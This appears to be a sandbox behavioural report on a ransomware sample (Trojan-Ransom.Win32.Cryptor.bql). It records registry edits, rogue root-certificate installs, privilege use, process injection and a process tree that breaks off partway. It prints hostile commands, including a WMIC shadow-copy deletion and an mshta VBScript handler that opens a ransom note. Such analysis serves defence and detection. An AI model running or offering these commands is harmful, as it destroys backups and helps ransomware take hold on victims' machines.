Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "23"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "56"	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "56"	SearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\5D06DD26\Shell\Open\Command	agekm.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DomStorageState	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "0"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "0"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "23"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "56"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\MuiCache	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoftwindows.client.cbs	SearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\5D06DD26\Shell\Open	agekm.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoftwindows.client.cbs	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\client.cbs	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "23"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56"	SearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\5D06DD26\Shell	agekm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "0"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "56"	SearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	agekm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "0"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\client.cbs	SearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.locked	agekm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\5D06DD26	agekm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\5D06DD26\Shell\Open\Command\ = "mshta.exe vbscript:Execute(\"CreateObject(\"\"WScript.Shell\"\").Run(\"\"[HOW_TO_DECRYPT_FILES].html\"\"):close\")"	agekm.exe

Modifies system certificate store 2 TTPs 5 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\SystemCertificates\CA\Certificates\2D74D6DFD96EEA55AD7BAAFA0D3C6552B2DADC37\Blob = 0300000001000000140000002d74d6dfd96eea55ad7baafa0d3c6552b2dadc3714000000010000001400000040152d2679ed32209edf9a721dd6321f810c810c6b0000000100000020000000238b85a0099c65b970477d5724f1a1d475ce5058cffe4efa8733899bdb863c470f0000000100000020000000ba816929488993e7d7631bdfb1bcd22ee399a29f311e5ebe3855c8288ddb00d819000000010000001000000077d80f7f0a0cac79111184cf8b94d64c5c000000010000000400000000080000180000000100000010000000ee12805febf02e041aea3f22699758502000000001000000de040000308204da308202c2a00302010202104ebd24947e24d394802d84a52fd5b319300d06092a864886f70d01010b0500302e310b3009060355040613025553310d300b060355040a1304495352473110300e06035504031307526f6f74205952301e170d3235303930333030303030305a170d3238303930323233353935395a3033310b300906035504061302555331163014060355040a130d4c6574277320456e6372797074310c300a0603550403130359523230820122300d06092a864886f70d01010105000382010f003082010a0282010100d9d0bc70069a6a87ce25baa31ead5fde78bfdf5d0ee62d042fd4b9e958a65bcaf1a9c7ac21e807e7b2502717a7b04e470703e8123a806f9b70df9b4e80b86885f8a46eb787c0728c2a9c0410096f7cf903cffde3afff0ba0ec8ca4e0d90ec5fd88ea0d9fe794fa9c9a0e4cb15cba4791abcd091901186a7f9d3c5afd38652040ada118a80d916f3ba5aa69b0e02e50972ba18851b79b948ace2a6998ab7a2b1ebb7da0cc324d04088ab6cbdde875f8bf6e5ba6444d712fc1fc6b5cf6455b5290fed8f2cfc5d7a2dd38a6e79938b5f0045f00f6ab288f4f1ad336aea537e00caf983673574daa4393c23c5e57a2f99693f5ac6898bcb9d168f94eab26513d6fb90203010001a381ee3081eb300e0603551d0f0101ff04040302018630130603551d25040c300a06082b0601050507030130120603551d130101ff040830060101ff020100301d0603551d0e0416041440152d2679ed32209edf9a721dd6321f810c810c301f0603551d23041830168014dee75b60d0226d40287d3f0d01fea4b552b45194303206082b0601050507010104263024302206082b060105050730028616687474703a2f2f79722e692e6c656e63722e6f72672f30130603551d20040c300a3008060667810c01020130270603551d1f0420301e301ca01aa0188616687474703a2f2f79722e632e6c656e63722e6f72672f300d06092a864886f70d01010b050003820201007465441667dfd89fd08e129a3e25f79c327074874bf00e6fcceba22a5eac372e868b9b1f6566f453783212ebb3d4788df2080d96e8f2910f4fc513f1b9ee53a64be5f2e4069a2f4d080863aa8cd70268c596f28f277af1ce7788b896a82dce713fdbc43095c749c85f32062587a67ca3844a663562544603823a0db1a7044c042b2331272a60fb4e8417ae610bd2c0011e4cc2f652487ab86b97e04d78abae496bc71d8c5e5b0257673f5784e0505a030b191b67ceaaaaca574dd8f39370d9bb5e74fd40b65890b8966cfc9a3f817c5775cecbac7dcc7209e99db4e2027717ef211284fea4cd07a3965a8c088b79d873a3c4319669f4bb5f0f832b0aa61fe12acbc75c6ceb9a83fd4062542828d54adc5e6a1e1ead10388ca9070b2226c62ad784ea21e8e00fdb21271bceb857518ba2b26e36658ce6738f05315207deacb82fce044dd007da0b71c343c086f4555e9f073fbc1f9e0a73b0dffcc4e4e979149b338f906dce7a1baf8189f9afeac93589e41b340df025d9780c352e41257c841831eb3a08d59486391a6b0c5bb1edceab85cefb41931246b120a2605e9257abbc4bdef3aca55a66775961d5e912cc8bcc4dbe377bd6be043c81a063b05953f54f064abeb80ec66fa99b267160578dee877c722d1160c48029848ba4c13192319651f8023e427a740584d6a2f1d7a3339fdc7f2bea1a331284f4d891e7d007937c	jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\SystemCertificates\CA\Certificates\AB9D0263244DD0326EB67015705A667E79CFE998	jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\SystemCertificates\CA\Certificates\AB9D0263244DD0326EB67015705A667E79CFE998\Blob = 030000000100000014000000ab9d0263244dd0326eb67015705a667e79cfe998140000000100000014000000dee75b60d0226d40287d3f0d01fea4b552b451946b0000000100000020000000072639d0b140d5bffae16ad9c3f6cc6086040621f51ee61a6d46a8915c07cf760f000000010000002000000032edbb11cc258fbe33c2cd24a149270f0be6f446f57264b3bd1c25b98533272e190000000100000010000000ee12805febf02e041aea3f22699758505c0000000100000004000000001000001800000001000000100000002fe1f70bb05d7c92335bc5e05b984da62000000001000000f8050000308205f4308203dca003020102021100f24b6d17f9d9ad7cb1c9fea78782699f300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3236303531333030303030305a170d3332303930323233353935395a302e310b3009060355040613025553310d300b060355040a1304495352473110300e06035504031307526f6f7420595230820222300d06092a864886f70d01010105000382020f003082020a0282020100dbc626737bf024c97562f7f9e19fb0b3794eb34126cf951fd8515ea45bc31bbdb06362074043d5f70ec5b494402248335c44d770dbfb90b0d70d2cd04058b2fb883ffea3a05d30f1cb8899b811d4e1a061b490e0ea7323e0c6f121ae4e5704f3bdce092fa4877b2b968eaf978dcce4e260e007a8d6c7c7a7a913243a0888504d24063e38a7d7fc552f60aba18d3fa7a38f659aa9aea52048e4f901422aab106b56539bb153f7105871aef234a3141ce766abdb34f2cc5cc2c5c426f75937eb2415d78eabd61bebf86e3cf18e3780b4e954eea6ab443bcd3b202e4182e59fdd3833e7da2b1f219cb0a9275e59a9a12070d958fbd30c59c0b9caf2f60368f797dfb66ee820657f9d384f75cd898875ac13bd266e56f95b46b0252f1201ea9c0c0639de5c28d843cfb70420a3b2c6d2369654de14dc0437617c09440e562bea911ab6731d9834f906a9ca0bdd9b7741213357db2c78a82dc70b0ae89ebd3f1990f859aeaecc8a2ee035701c504011f3e97361a97ef734e0ec2e4300bc9539e1bf0aa7d100c9f52921c247435203a3fcb67fe619196709cb79aed5422e7572495a54e87d6a1a0dc38133aeb247fc79a85332261b2397b33c998ee5eaed6a5b24435bada7be3e783cbdd8f2387ed1ca4dbabd216847e1864a8775a724422dfa842f95865b63cb6912ba0aac507a3c51b3ac9203472b6ce07aafb87e764458f6ceffc10203010001a381eb3081e8300e0603551d0f0101ff04040302010630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff301d0603551d0e04160414dee75b60d0226d40287d3f0d01fea4b552b45194301f0603551d2304183016801479b459e67bb6e5e40173800888c81a58f6e99b6e303206082b0601050507010104263024302206082b060105050730028616687474703a2f2f78312e692e6c656e63722e6f72672f30130603551d20040c300a3008060667810c01020130270603551d1f0420301e301ca01aa0188616687474703a2f2f78312e632e6c656e63722e6f72672f300d06092a864886f70d01010b050003820201003cb29488f7928a7e7d96e863260e91c12523da2dbb12dd6f777228c909109801cd5fb0980bd4520bec2d02f5e70f39d7300767e2d03936a7de23f624c90b19ade4215228b456c275d3d8c3125dec55c6aa1507bf417563f155711391599efea61202e2951e1e4fb3ee418b1826c12d4992348073e31fad46cdb2c5441271f468488087eae8b570152523ff61eecb24f1300fd0d61bbdaf5566e101cb8e7f938b8f3e7b0ad93b320407ca767bf8f94726d6a3ae809a21bb42afab5c659680c14426fa3432796755fb686ff5d78e60598a790ca38dc4ab37935a76bc3e2fd0d924b6c0d47a9e36f2e1060aa93f47ef26ad8de84b43e7be0de9e308eee32c2539e38b6503cfd7a5e572d2bfd7ea24cb8342d6156f6a133682a9a14aa1c4f542d1aab8786e4c112688767f1be5919249e0092cc1d796311d94dcdafa771f92f8979353ce2e79c576fc7cfe093a337ef859b2d6157c3c375e3507f465fed20d19f9754f13888aab6231890bd3645219bd64ab7e012fd34f3f6ef344632e1c69f34b784522b4537cac6bcd467d473416cc41b72ba7c9debda7a9296d91ecad8acf43201a0563d5665728cb33bd43322fb2d7e4d1489542944330bc0e322fefbbabd5d9c79af9c014560789104ca1f9ab2a199c3c3b8a2ba1d65203c83171f2bee2f6f2095391d2de6a192e461600e8a531a57d379e80f4181be9d35c1e4be0dcda1a60	jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\SystemCertificates\CA\Certificates\2D74D6DFD96EEA55AD7BAAFA0D3C6552B2DADC37	jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
5624	WMIC.exe
5624	WMIC.exe
5624	WMIC.exe
5624	WMIC.exe
3852	agekm.exe
3852	agekm.exe
3852	agekm.exe
3852	agekm.exe
3852	agekm.exe
3852	agekm.exe
3852	agekm.exe
3852	agekm.exe
2920	WMIC.exe
2920	WMIC.exe
2920	WMIC.exe
2920	WMIC.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
1104	msedge.exe
1104	msedge.exe
1104	msedge.exe
1104	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5624	WMIC.exe
Token: SeSecurityPrivilege	5624	WMIC.exe
Token: SeTakeOwnershipPrivilege	5624	WMIC.exe
Token: SeLoadDriverPrivilege	5624	WMIC.exe
Token: SeSystemProfilePrivilege	5624	WMIC.exe
Token: SeSystemtimePrivilege	5624	WMIC.exe
Token: SeProfSingleProcessPrivilege	5624	WMIC.exe
Token: SeIncBasePriorityPrivilege	5624	WMIC.exe
Token: SeCreatePagefilePrivilege	5624	WMIC.exe
Token: SeBackupPrivilege	5624	WMIC.exe
Token: SeRestorePrivilege	5624	WMIC.exe
Token: SeShutdownPrivilege	5624	WMIC.exe
Token: SeDebugPrivilege	5624	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5624	WMIC.exe
Token: SeRemoteShutdownPrivilege	5624	WMIC.exe
Token: SeUndockPrivilege	5624	WMIC.exe
Token: SeManageVolumePrivilege	5624	WMIC.exe
Token: 33	5624	WMIC.exe
Token: 34	5624	WMIC.exe
Token: 35	5624	WMIC.exe
Token: 36	5624	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5624	WMIC.exe
Token: SeSecurityPrivilege	5624	WMIC.exe
Token: SeTakeOwnershipPrivilege	5624	WMIC.exe
Token: SeLoadDriverPrivilege	5624	WMIC.exe
Token: SeSystemProfilePrivilege	5624	WMIC.exe
Token: SeSystemtimePrivilege	5624	WMIC.exe
Token: SeProfSingleProcessPrivilege	5624	WMIC.exe
Token: SeIncBasePriorityPrivilege	5624	WMIC.exe
Token: SeCreatePagefilePrivilege	5624	WMIC.exe
Token: SeBackupPrivilege	5624	WMIC.exe
Token: SeRestorePrivilege	5624	WMIC.exe
Token: SeShutdownPrivilege	5624	WMIC.exe
Token: SeDebugPrivilege	5624	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5624	WMIC.exe
Token: SeRemoteShutdownPrivilege	5624	WMIC.exe
Token: SeUndockPrivilege	5624	WMIC.exe
Token: SeManageVolumePrivilege	5624	WMIC.exe
Token: 33	5624	WMIC.exe
Token: 34	5624	WMIC.exe
Token: 35	5624	WMIC.exe
Token: 36	5624	WMIC.exe
Token: SeBackupPrivilege	2492	vssvc.exe
Token: SeRestorePrivilege	2492	vssvc.exe
Token: SeAuditPrivilege	2492	vssvc.exe
Token: SeTakeOwnershipPrivilege	3852	agekm.exe
Token: SeDebugPrivilege	3852	agekm.exe
Token: SeIncreaseQuotaPrivilege	2920	WMIC.exe
Token: SeSecurityPrivilege	2920	WMIC.exe
Token: SeTakeOwnershipPrivilege	2920	WMIC.exe
Token: SeLoadDriverPrivilege	2920	WMIC.exe
Token: SeSystemProfilePrivilege	2920	WMIC.exe
Token: SeSystemtimePrivilege	2920	WMIC.exe
Token: SeProfSingleProcessPrivilege	2920	WMIC.exe
Token: SeIncBasePriorityPrivilege	2920	WMIC.exe
Token: SeCreatePagefilePrivilege	2920	WMIC.exe
Token: SeBackupPrivilege	2920	WMIC.exe
Token: SeRestorePrivilege	2920	WMIC.exe
Token: SeShutdownPrivilege	2920	WMIC.exe
Token: SeDebugPrivilege	2920	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2920	WMIC.exe
Token: SeRemoteShutdownPrivilege	2920	WMIC.exe
Token: SeUndockPrivilege	2920	WMIC.exe
Token: SeManageVolumePrivilege	2920	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1104	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5804	SearchHost.exe
2000	SearchHost.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 4108 wrote to memory of 5624	4108	jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe	89
PID 4108 wrote to memory of 3852	4108	jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe	93
PID 4108 wrote to memory of 904	4108	jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe	94
PID 3852 wrote to memory of 1104	3852	agekm.exe	109
PID 3852 wrote to memory of 6072	3852	agekm.exe	110
PID 3852 wrote to memory of 716	3852	agekm.exe	112
PID 3852 wrote to memory of 2888	3852	agekm.exe	113
PID 1104 wrote to memory of 3924	1104	msedge.exe	114
PID 2888 wrote to memory of 2920	2888	cmd.exe	117
PID 1104 wrote to memory of 2340	1104	msedge.exe	118
PID 1104 wrote to memory of 3716	1104	msedge.exe	119
PID 1104 wrote to memory of 3716	1104	msedge.exe	119
PID 1104 wrote to memory of 3716	1104	msedge.exe	119
PID 1104 wrote to memory of 2380	1104	msedge.exe	120
PID 1104 wrote to memory of 2380	1104	msedge.exe	120
PID 1104 wrote to memory of 2964	1104	msedge.exe	122
PID 1104 wrote to memory of 2360	1104	msedge.exe	123
PID 1104 wrote to memory of 2964	1104	msedge.exe	122
PID 1104 wrote to memory of 2964	1104	msedge.exe	122
PID 1104 wrote to memory of 2360	1104	msedge.exe	123
PID 1104 wrote to memory of 2360	1104	msedge.exe	123
PID 1104 wrote to memory of 1544	1104	msedge.exe	124
PID 1104 wrote to memory of 1544	1104	msedge.exe	124
PID 1104 wrote to memory of 1544	1104	msedge.exe	124
PID 1104 wrote to memory of 5216	1104	msedge.exe	125
PID 1104 wrote to memory of 5216	1104	msedge.exe	125
PID 1104 wrote to memory of 5216	1104	msedge.exe	125
PID 1104 wrote to memory of 2052	1104	msedge.exe	126
PID 1104 wrote to memory of 2052	1104	msedge.exe	126
PID 2364 wrote to memory of 5608	2364	cmd.exe	131
PID 2364 wrote to memory of 1672	2364	cmd.exe	132
PID 2364 wrote to memory of 2088	2364	cmd.exe	133

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe"
1⤵
- Drops file in System32 directory
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4108
- C:\Windows\SysWOW64\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete /nointeractive
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5624
- C:\Users\Admin\AppData\Roaming\Tocef\agekm.exe
  "C:\Users\Admin\AppData\Roaming\Tocef\agekm.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Enumerates connected drives
  - Sets desktop wallpaper using registry
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3852
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\[HOW_TO_DECRYPT_FILES].html
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x368,0x7fff6c18c188,0x7fff6c18c194,0x7fff6c18c1a0
      4⤵
      PID:3924
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1800,i,8328301429105027435,1389848204183189927,524288 --field-trial-handle=2364,i,13605261133679726757,12041931327412500031,262144 --variations-seed-version --mojo-platform-channel-handle=2392 /prefetch:11
      4⤵
      System Time Discovery
      PID:2340
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1552,i,8317487579220353508,1159962564334224571,262144 --field-trial-handle=2364,i,13605261133679726757,12041931327412500031,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:2
      4⤵
      PID:3716
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
